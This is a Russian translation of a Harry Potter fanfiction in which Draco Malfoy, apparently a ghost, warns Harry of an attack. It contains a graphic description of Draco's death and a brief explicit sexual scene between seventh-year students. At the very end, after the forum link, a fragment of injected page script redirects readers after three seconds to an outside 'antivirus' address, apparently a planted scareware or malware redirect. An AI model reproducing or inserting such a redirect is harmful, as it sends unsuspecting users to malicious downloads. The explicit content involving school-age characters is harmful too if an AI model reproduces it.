Open Your Eyes

Автор: blue
Переводчик: SwEv
Бета: Zua
Pairing: Гарри/Драко
Рейтинг: PG-13
Жанр: аngst/romance
Disclaimer: все - её.
Предупреждение: спойлеры! В рассказе упоминаются события пятой книги "Гарри Поттер и Орден Феникса"!

- Поттер.
Шепот.
- Потти-Поттер.
Певучий голос.
- Просыпайся. Ну же. Проснись и пой.
Мурлыкающая колыбельная.
- Открой глаза.
Смех. И Гарри Поттер просыпается, садится на кровати, вытянувшись в струну, вцепившись руками в скомканные простыни, весь в испарине, дрожащий, шепчущий проклятия под нос.
Его глаза обшаривают тени и останавливаются на бледном пятне, нарушающем совершенство тьмы вокруг.

Что-то взгромоздилось на деревянную спинку его кровати, раскинув руки, чтобы сохранить хрупкое, невозможное равновесие.
Драко Малфой взгромоздился на деревянную спинку кровати, разглядывая его. Усмехаясь.
Гарри обдумывает возможность отчаянно закричать. Потом отметает эту мысль. Он выбирает шепот.
- Малфой?
Драко хихикает и покидает свой ненадежный насест. Покрытый коврами пол приглушает его шаги, пока Драко обходит кровать, подбираясь к Гарри, ближе, так, что даже без очков тот может четко его рассмотреть.
Гарри открывает рот. Потом закрывает. Снова открывает – и застывает в таком положении, когда очки оказываются у него на носу.
Драко Малфой все еще усмехается. Раздражающе.
- Какого…
- С добрым утром, принцесса.
- …черта? – Гарри Поттер, наконец, сдается и просто молча  смотрит на Драко. Он решает, что пока ничего лучшего сделать не может.
- Утро? Принцесса?
Драко выпрямляется. Вздох.
- Сейчас три часа после полуночи. Теоретически это утро.
Потрясенная тишина. Драко рассматривает свои ухоженные ногти в поисках изъянов. Гарри пытается решить, не сошел ли он с ума. Затем тишина прерывается
- Как ты сюда попал?
- У меня свои способы.
- Зачем?
- Затем.
Драко ухмыляется, выглядя довольным. Выглядя как Драко. Каким-то образом это убеждает Гарри в том, что все это ему не снится.
Несмотря на первое впечатление.
- Нет, правда, Поттер. Мне нужно поговорить с тобой.
Гарри встает. Его взгляд скользит по пустой спальне семикурсников. Довольно странно, но эта картина придает ему уверенности вместо того, чтобы напугать.
- Тогда говори и исчезни.
Гарри старается быть грубым. Может быть, это ему даже удается, потому что Драко больше не улыбается. Никаких тихих, непривычных звуков. Лишь тяжелые, знакомые слова.
- У тебя осталась неделя. Они идут. За тобой.
- Кто?
- Они.
- А потом?
- А потом ты умрешь, - после этих слов улыбка неожиданно возвращается на его лицо. – Они заставят Поттера попотеть, - и его смех снова звенит в комнате, легко вырываясь из горла.
Горло Гарри, напротив, перехватывает судорогой.
- Ты лжешь.
Драко ничего не отвечает. Он просто пожимает плечами и отворачивается.
- Подожди.
Драко ждет.
- Почему?
Драко снова пожимает плечами.
- Потому.

На зимних каникулах Хогвартс пустеет. Во время войны Хогвартс тоже пустеет. На зимних каникулах во время войны Хогвартс совершенно пуст.
Таким образом, у Гарри появляется прекрасная возможность поговорить с Драко.
- Ты должен рассказать мне больше.
- Больше чего?
- Больше того, что ты знаешь об этом.
Тишина.
- Где ты был?
- То здесь, то там.
- Ты…?
- Может быть.

Не то чтобы Гарри хочет поговорить с Драко. Просто ему нужно получить более ясную картину происходящего, прежде чем вмешаться. То есть пойти к Дамблдору. Но Дамблдор – та соломинка, за которую Гарри всегда избегал хвататься. И конечно, он не может прийти к директору, полагаясь только на неясные  угрозы, переданные Драко Малфоем.
Нет, определенно нет. Сначала нужно узнать больше.
И у Гарри появляется прекрасная возможность, чтобы загнать Драко в угол.
- Малфой. Почему я должен тебе верить?
Драко обдумывает вопрос.
- Ты не должен.
Гарри вздыхает.
- Ты сказал, что они идут.
- Они идут.
- Как я узнаю, что ты говоришь правду? Как я узнаю, что это не твоя очередная шуточка?
- Никак.
Бешенство. Желание побиться головой обо что-нибудь твердое. Много раз.
- Думаю, мне просто придется поверить тебе.
Кивок.
- Малфой, я ненавижу тебя.
Кивок.
- И я не могу тебе доверять.
Вздернутая бровь.
- Так же как и я тебе.
Дрожь.
- Но теперь все это не имеет значения, не так ли? Не имеет значения, что я могу, а что нет. Важно лишь то, что я делаю.
- Малфой…
Нет ответа. Тени Хогвартса уже поглотили Драко.

Гарри бьется головой о ближайшую стену.

Гарри провел следующие несколько дней в поисках Драко. Не ища на этот раз никаких оправданий, чтобы заткнуть свою совесть. Но Драко нигде не показывался, а Хогвартс велик, и призраки не знали, где он мог быть, и в школе не осталось никаких учеников, чтобы помочь Гарри найти его, и все учителя были слишком поглощены составлением планов, контр-планов и контр-контр-планов, чтобы взваливать на них еще и проблему местонахождения Драко Малфоя, и Гарри уже почти сдался…
…но нет. Он не собирается сдаваться. Он Поттер, мерлинова борода, Гарри…
- Потти-Поттер.
- Малфой.
- Что ты здесь делаешь? Это территория Слизерина.
- Я искал тебя.
- Я переехал.
Гарри пытается отыскать сарказм в его словах. И не находит. Но, прежде чем он успевает задуматься, почему, Драко заговаривает снова.
- Знаешь, мне здесь нравилось.
Гарри оглядывает подземелья Слизерина, теперь пустующие даже в учебное время. Ученики Слизерина были первыми, кто ушел. Вместе.
С тех пор эти коридоры – обиталище пауков, случайных призраков и вездесущей пыли.
Гарри не произносит  этого вслух. Ее сейчас, когда Драко нежно касается каменных стен, и отголоски сокровенных мыслей мелькают у него на лице.
Гарри всегда был чертовски чувствительным мальчиком.
- Ты уже решил?
Гарри выпрыгивает из состояния упоения собой.
- Что?
- У тебя осталось три дня. Ты решил, что будешь делать? – пауза. – Ты решил, веришь ли ты мне?
Гарри притворяется, что обдумывает это. На самом деле он уже знает ответ. Так что в конце концов…
- Да, я верю тебе.
Драко кивает, но ничего не говорит. Его глаза пытаются пробуравить в Гарри дыры. Мальчик стойко противостоит этой серебряной осаде. Тогда Драко улыбается.
И все сопротивление Гарри тает.
Как странно.

Драко никогда не был в кабинете Дамблдора. И никогда бы там не оказался, если бы не Гарри. Гарри, который с невинным видом оглядывается вокруг, пока Драко хмурится.
- Лимонные леденцы?
Гарри берет один. Драко просто пристально смотрит на Дамблдора.
Директор вздыхает.
- Итак? Чем я могу вам помочь?
Гарри обрисовывает ситуацию. Дамблдор слушает, размышляет и задает вопросы.
- Очень хорошо. Они обнаружат, что мы готовы. Теперь вы можете вернуться к своим делам. Каникулы еще не кончились.
Гарри встает. Драко – тоже. Гарри выходит через дверь. Драко – нет. Дамблдор окликает его.
- Драко.
И Драко замирает. Напряженные плечи, крепко сжатые челюсти. Он ждет.
- Мне очень жаль.
Драко медленно поворачивается. Наполовину.
- Я знаю.
Он морщится, словно надкусил горький плод. Всего пару секунд. Затем он тоже уходит, оставив тяжело опустившегося в кресло Дамблдора размышлять о своем возрасте и столь естественной в нем усталости.


- Поттер.
Тишина.
- Поттер.
Тишина.
- Поттер.
- Что?
- Тебе страшно?
Тишина. На этот раз – не такая продолжительная.
- Да.
Едва слышный шепот. Но для Драко этого достаточно.
- Так и должно быть.
- Малфой.
- Да?
- Не мог бы ты…
Тишина. Снова. Теперь уже неловкая.
- …обнять меня?

Время настало. Это ясно по напряженной атмосфере. По шепоту. По неестественно темным тучам, сгустившимся над Хогвартсом.
Гарри ждет, лежа на кровати. Справа – меч Годрика Гриффиндора. Слева – Драко Малфой. Драко Малфой, успокаивающе перебирающий его волосы.
Гарри сосредотачивается на своем дыхании. Вдох, затем выдох. Очень долго они не говорят ничего. Наконец, Драко открывает рот.
Гарри думал, что знает, о чем он собирается попросить.
- Если ты увидишь моего отца…
Гарри думал, что знает.
- Передай ему привет от меня. А потом убей. Медленно.
Гарри думает, что, в конце концов, он не знает ничего.


- Ты меня дождешься?
Вместо ответа – отсутствующий взгляд.
- Или ты уйдешь сразу же, едва за мной закроется дверь?
- Ты собираешься запереть меня здесь?
Гарри качает головой и пытается улыбнуться. Безуспешно.
- Как будто это тебя остановит.
Покорный вздох.
- Думаю, тогда мне просто придется опять тебе поверить.
- Это справедливо. Я верил тебе.
Гарри вздрагивает.
- И я сделаю это снова.
Гарри дрожит.
Но Драко не замечает. Его это не беспокоит.
- Теперь иди. Думаю, я подожду. Только не задерживайся. Ненавижу ждать.

Гарри старается не задерживаться. Но когда битва подходит к концу, солнце уже село.
И Гарри бежит.
Наверх, в башню Гриффиндора, меч хлопает по левому бедру, воздух  – огонь в легких, кровь шумит в ушах.
И Гарри бежит.

Драко все еще там. Лежит на гарриной кровати и полностью поглощен изучением потолка, когда дверь распахивается.
- Ты задержался.
Это просто констатация факта, и он встает, изучая Гарри.
Гарри, целиком покрытого грязью. С кровью на одежде, на руках, на лице… С пылью на штанах и в волосах.
- Ты ужасно выглядишь.
Еще одно утверждение, на которое Гарри не обращает ни малейшего внимания, подходя к Драко все ближе, толкая на кровать, заводя руки за голову и прижимаясь к слизеринцу губами.
Губами со вкусом крови, грязи и проглоченных слез.
Однако на этот раз Драко, кажется, нечего констатировать.


- Я это сделал.
- Что сделал?
- Твой отец…
- О.
Пауза.
- Спасибо.
- Он сказал, что я сумасшедший…
- Спасибо, Поттер.
Пауза.
- Он сказал, что я сумасшедший, потому что…
- Поттер…
- Потому что ты мертв.


- Я знал это.
Гарри судорожно сглотнул.
- Мне это приснилось. И я видел, что они с тобой сделали. Ты…
- …ты отказался кланяться. Отказался от Смертного Знака. И тогда…
- …твой отец. Заклинание. Оно ударило в тебя и ты…
- …ты… твой мозг…
- …расплескался по всему полу и…
- …твоя мать на коленях…
- …пыта-пытаясь собрать его обратно, но твой раздробленный череп…
- …и он продолжал вываливаться, и… и…
- …о боже. О боже.


В конце концов Гарри  замолкает.
В конце концов замолкают слова.
В конце концов.


- Почему ты притворялся, что не знаешь?
- Потому.
Драко качает головой и вздыхает.


- Ты так чертовски…
Гарри тянется к Драко. Рука Гарри тянется к груди Драко. Прикосновение.
- Реален?
Ухмылка.
- Я и правда не могу этого объяснить. Я думал, что призраки эфемерны. Но не могу сказать, что был так уж удивлен. В конце концов, я всегда был исключением. Должен признать, это больше всего напоминает просто совершенную копию меня, настоящего. И, если уж мы об этом заговорили, такая жалость, что на самом деле я лежу в шести футах под землей. Чертовски большая утрата, не так ли?
Гарри не отвечает. Внезапная потребность опорожнить свой желудок гонит его в ванную комнату.


- И что теперь?
- Не знаю.
Шорох простыней.
- Что ты делаешь?
- Ложусь. Я устал.
Шорох простыней.
- Куда ты идешь?
- На другую кровать.
- Зачем?
- Я думал, что ты…
- Останься. Пожалуйста.
Шорох простыней. Вздох.
- Поттер. Скоро я…
- Я не займу тебя надолго. Обещаю.
Еще один вздох. И еще. И еще…

Ему нужно помнить, что это не Драко Малфой. Драко Малфой, который умер потому, что верил, что Гарри Поттер прав, а Упивающиеся Смертью – нет.
Теперь Гарри уже не знает, что правильно, а что нет. Он знает только то, что под его пальцами Драко кажется самым настоящим. Он шипит так, как и должен был, по мнению Гарри. Он дрожит и стонет и сжимает простыни, когда Гарри языком вычерчивает линии на его коже.
Гарри думает, что Драко и на вкус точно такой, каким должен быть. Горький.
Гарри сосет, облизывает и кусает.
Гарри никак не может насытиться.
Гарри касается, дразнит и царапает.
Драко кричит. Одно имя. Единственный раз.
Гарри глотает. Слезы, сперму, горе и сожаление. Они тоже горьки. Но Гарри привыкает к этому вкусу и все равно глотает.


- Поттер.
Если отказаться прощаться, может быть, он останется?
- Поттер.
Если обнимать его достаточно долго, может быть, он останется?
- Поттер, я должен идти.
- Куда?
Вздох вместо ответа. Ответа, который Гарри не хочет слышать.
- Нет.
- Поттер…
- Нет, нет, нет, не…
- Прекрати. Ты жалок.
Гарри отвечает только взглядом. Драко встает и отворачивается.
- Что теперь? Ты смотришь так, будто сейчас действительно есть что сказать. Ну так знаешь что? Нечего здесь говорить. Разве что «Поздравляю, это был классный секс».
Гарри продолжает смотреть. Драко одевается. Драко хмурится.
- Поттер, просто для справки, ты случаем не ухитрился в меня влюбиться?
Гарри продолжает смотреть.
Драко отвечает таким же взглядом.
- Иди сюда.
И Гарри идет. Довольно скоро Драко снова оказывается без одежды. Но теперь это уже не имеет никакого значения.
Да, теперь уже ничто не имеет значения…


- Поттер.
Шепот.
- Потти-Поттер.
Певучий голос.
- Просыпайся. Ну же. Проснись и пой.
Мурлыкающая колыбельная.
- Открой глаза.
Смех. И Гарри Поттер просыпается, садится на кровати, вытянувшись в струну, вцепившись руками в скомканные простыни, весь в испарине, дрожащий и шепчущий под нос проклятия.
Его глаза обшаривают тени. Но вокруг больше никого нет.

 

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>